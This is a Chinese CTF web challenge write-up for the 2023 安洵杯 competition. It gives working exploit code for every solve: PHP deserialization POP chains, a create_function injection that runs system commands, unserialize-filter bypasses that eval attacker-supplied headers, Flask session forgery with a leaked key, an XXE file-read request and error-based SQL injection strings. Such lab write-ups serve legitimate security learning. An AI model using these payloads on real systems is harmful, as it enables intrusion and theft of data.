2023安洵杯 and 全国精英挑战赛 Web WriteUp
安洵杯
easy_unserialize
<?php
highlight_file(__file__);
class Good{
public $g1;
private $gg2; // 不可访问属性
public function __construct($ggg3)
{
$this->gg2 = $ggg3;
}
public function __isset($arg1) // 对不可访问属性使用 isset 或者 emtype时调用
{
echo "__isset";
if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
{
if ($this->gg2)
{
$this->g1->g1 = "aaa"; //
}
}else{
die("No");
}
}
}
class You{
public $y1;
public function __wakeup()
{
unset($this->y1->y1); // unset $this = new
}
}
class Luck{
public $l1;
public $ll2;
private $md5;
public $lll3;
public function __construct($a)
{
$this->md5 = $a;
}
public function __toString()
{
echo "__toString";
$new = $this->l1;
return $new(); // 这也可以
}
public function __get($arg1) // 调用成员属性不存在
{
echo "__get";
$this->ll2->ll2('b2'); // 1 $this -> ll2 = new Luck; $this->ll2->ll2 = new Flag; $this->ll2->ll2->one = "glob:///*"; two = "Directorylterator";
}
public function __unset($arg1) // 对不可访问成员使用 unset时
{
echo "__unset".'</br>';
var_dump($this->md5);
if(md5(md5($this->md5)) == 666) // 213
{
if(empty($this->lll3->lll3)){ // empty
echo "There is noting";
}
}
}
}
class To{
public $t1;
public $tt2;
public $arg1;
public function __call($arg1,$arg2)
{
echo "__call";
if(urldecode($this->arg1)===base64_decode($this->arg1))
{
echo $this->t1; //
}
}
public function __set($arg1,$arg2) // 给不存在的成员赋值时
{
echo "__Set";
if($this->tt2->tt2)
{
echo "what are you doing?";
}
}
}
class Flag
{
public function __invoke() //把对象当作函数调用
{
var_dump($this);
echo "May be you can get what you want here";
array_walk($this, function ($one, $two) {
var_dump($one);
var_dump($two);
$three = new $two($one); // two =Directorylterator one = glob SplFileObject
foreach ($three as $tmp) {
echo($tmp . '<br>');
}
});
}
}
unserialize($_POST[1]);
$a = new You;
$a->y1 = new You;
$a->y1->y1 = new Luck('213');
$a->y1->y1->lll3 = new Good('*');
$b = new To;
$b->tt2 = new Luck('213');
$c = new To;
$c->t1 = new Luck('213');
$d = new Flag;
$d->SplFileObject = "/FfffLlllLaAaaggGgGg";//2
$d->FilesystemIterator = "glob:///*"; //1
$c->t1->l1 = $d;
$b->tt2->ll2 = $c;
$a->y1->y1->lll3->g1 = $b;
echo serialize($a);
?>
原生类FilesystemIterator读路径和SplFileObject读文件内容(注意因为属性原因需要进行添加%00 %00)
期中有个md5双重绕过
import hashlib
target_string = '666'
def md5_last5(string):
# 计算字符串的md5散列值
md5_hash = hashlib.md5(string.encode()).hexdigest()
md5_string = hashlib.md5(md5_hash.encode()).hexdigest()
print(md5_string)
# 截取前面6位字符
last_5 = md5_string[:3] # md_hash[-6:]是后6位
return last_5
# 114514
for j in range(1,9999999999):
i = str(j)
# print(md5_last5(i))
if(md5_last5(i)==target_string):
print(i)
break
### 213
what’s my name
参考:https://www.cnblogs.com/zzjdbk/p/12980483.html(记录本地了)
源码:
<?php
highlight_file(__file__);
$d0g3=$_GET['d0g3'];
$name=$_GET['name']
if(preg_match('/^(?:.{5})*include/',$d0g3)){
$sorter='strnatcasecmp';
$miao = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
var_dump($miao);
if(strlen($d0g3)==substr($miao, -2)&&$name===$miao){
$sort_function = ' return 1 * ' . $sorter . '($a["' . $d0g3 . '"], $b["' . $d0g3 . '"]);';
@$miao=create_function('$a, $b', $sort_function);
}
else{
echo('Is That My Name?');
}
}
else{
echo("YOU Do Not Know What is My Name!");
}
这题create_function注入,匿名函数注入
/?d0g3=%22]);}include(%22flag.php%22);system(%27cat%20admin.php%27);/*&name=%00lambda_51
用BP批量发null payload包即可得到flag
安洵杯 全国精英挑战赛(复现)
4号的罗纳尔多
源码:
<?php
error_reporting(0);
highlight_file(__FILE__);
class evil{
public $cmd;
public $a;
public function __destruct(){
if('VanZZZZY' === preg_replace('/;+/','VanZZZZY',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))){
eval($this->cmd.'givemegirlfriend!');
} else {
echo 'nonono';
}
}
}
if(!preg_match('/^[Oa]:[\d]+|Array|Iterator|Object|List/i',$_GET['Pochy'])){
unserialize($_GET['Pochy']);
} else {
echo 'nonono';
}
这两个if的目的是禁止我们用if('VanZZZZY' === preg_replace('/;+/','VanZZZZY',preg_replace('/[A-Za-z_()]+/','',$this->cmd)))除了()和;以外的符号,比如这种payload来进行命令执行
system(ls);#
知道这个就容易了,并且经过测试发现空格也被过滤了,所以我们选择使用无参数rce进行读取文件
同时我们使用__halt_compiler();这个来终端编译器防止eval报错
后面过滤了很多类,在ctfshow上做过可以用大写的C来进行绕过
而因为版本是php8对参数没有加引号是不能执行的,这里我们只能用无参数来rce。改最后一个请求头就可以了
<?php
error_reporting(0);
highlight_file(__FILE__);
class evil{
public $cmd= "eval(end(getallheaders()));__halt_compiler();";
public $a;
// C:8:"SplStack":93:{i:6;:O:4:"evil":2:{s:3:"cmd";s:45:"eval(end(getallheaders()));__halt_compiler();";s:1:"a";N;}}
}
$b = new SplStack();
$b->push(new evil());
echo serialize($b);
这里总结一下绕/[1]:[\d]+/i的方法,找出所有可以绕过这个的类
<?php
$classes = get_declared_classes();foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'unserialize',
))) {
print $class . '::' . $method . "\n";
}
}}
ArrayObject::unserialize
ArrayIterator::unserialize
RecursiveArrayIterator::unserialize
SplDoublyLinkedList::unserialize
SplQueue::unserialize
SplStack::unserialize
SplObjectStorage::unserialize
ArrayObject ArrayIterator RecursiveArrayIterator
<?php
error_reporting(0);
highlight_file(__FILE__);
class evil{
public $cmd= "eval(end(getallheaders()));__halt_compiler();";
public $a;
// C:8:"SplStack":93:{i:6;:O:4:"evil":2:{s:3:"cmd";s:45:"eval(end(getallheaders()));__halt_compiler();";s:1:"a";N;}}
}
$a = new evil();
$c = array(1=>$a);
$b = new ArrayObject($c);
echo serialize($b);
<?php
error_reporting(0);
highlight_file(__FILE__);
class evil{
public $cmd= "eval(end(getallheaders()));__halt_compiler();";
public $a;
// C:8:"SplStack":93:{i:6;:O:4:"evil":2:{s:3:"cmd";s:45:"eval(end(getallheaders()));__halt_compiler();";s:1:"a";N;}}
}
$a = new evil();
$c = array(1=>$a);
$b = new ArrayIterator($c);
echo serialize($b);
<?php
error_reporting(0);
highlight_file(__FILE__);
class evil{
public $cmd= "eval(end(getallheaders()));__halt_compiler();";
public $a;
// C:8:"SplStack":93:{i:6;:O:4:"evil":2:{s:3:"cmd";s:45:"eval(end(getallheaders()));__halt_compiler();";s:1:"a";N;}}
}
$a = new evil();
$c = array(1=>$a);
$b = new RecursiveArrayIterator($c);
echo serialize($b);
SplDoublyLinkedList SplStack
<?php
error_reporting(0);
highlight_file(__FILE__);
class evil{
public $cmd= "eval(end(getallheaders()));__halt_compiler();";
public $a;
// C:8:"SplStack":93:{i:6;:O:4:"evil":2:{s:3:"cmd";s:45:"eval(end(getallheaders()));__halt_compiler();";s:1:"a";N;}}
}
$a = new evil();
$c = array(1=>$a);
$b = new SplDoublyLinkedList();
$b->push($a);
echo serialize($b);
<?php
error_reporting(0);
highlight_file(__FILE__);
class evil{
public $cmd= "eval(end(getallheaders()));__halt_compiler();";
public $a;
// C:8:"SplStack":93:{i:6;:O:4:"evil":2:{s:3:"cmd";s:45:"eval(end(getallheaders()));__halt_compiler();";s:1:"a";N;}}
}
$b = new SplStack();
$b->push(new evil());
echo serialize($b);
就举例这些吧 都有差不多都是push手法
CarelessPy
这题首先打开是个python的网站
我们看到两个路由eval和login。看到eval我以为是bypass结果是目录遍历路由。然后我们下载图片发现有个/download?file的路由并且存在任意文件读取,但是做了waf。
/eval?cmd=/app/__pycache__ #['part.cpython-36.pyc']
/download?file=../../../app/__pycache__/part.cpython-36.pyc
反编译pyc得到代码:
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.6
import os
import random
import hashlib
from flask import *
from lxml import etree
app = Flask(__name__)
app.config['SECRET_KEY'] = 'o2takuXX_donot_like_ntr'
伪造session 用老朋友
python flask_session_cookie_manager3.py encode -s "o2takuXX_donot_like_ntr" -t "{'islogin': True}"
登陆成功,访问这个路由/th1s_1s_The_L4st_one,反编译出来的pyc文件中有lxml的引入,我们猜测是XXE漏洞
POST http://47.108.206.43:36020/th1s_1s_The_L4st_one HTTP/1.1
Host: 47.108.206.43:36020
Cookie: PHPSESSID=a7vo5iaolml0l39mhlrocppbc9; session=eyJpc2xvZ2luIjp0cnVlfQ.ZbEwaQ.vuT-JiUS9F8bm9Lk5zSWX_vVVEo
Content-Length: 122
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///flag" >]>
<result><ctf>B|~</ctf><web>&xxe;</web></result>
就可以得到flag了
Confronting robot
无过滤注入 利用报错注入
admin' and (extractvalue(1,concat(0x7e,(select database()),0x7e)))# '~robot_data~'
admin' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)))# name
admin' and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='name'),0x7e)))# username
admin' and (extractvalue(1,concat(0x7e,(select group_concat(username) from robot_data.name),0x7e)))# ~Hacker,secret is in /sEcR@t_n@B
admin' and extractvalue(1,substr((concat(0x7e,(select group_concat(username) from robot_data.name)),0,10),0x7e))#
1' and updatexml(1,substr(concat(0x7e,(select group_concat(username) from robot_data.name)),10),0) #
Oa ↩︎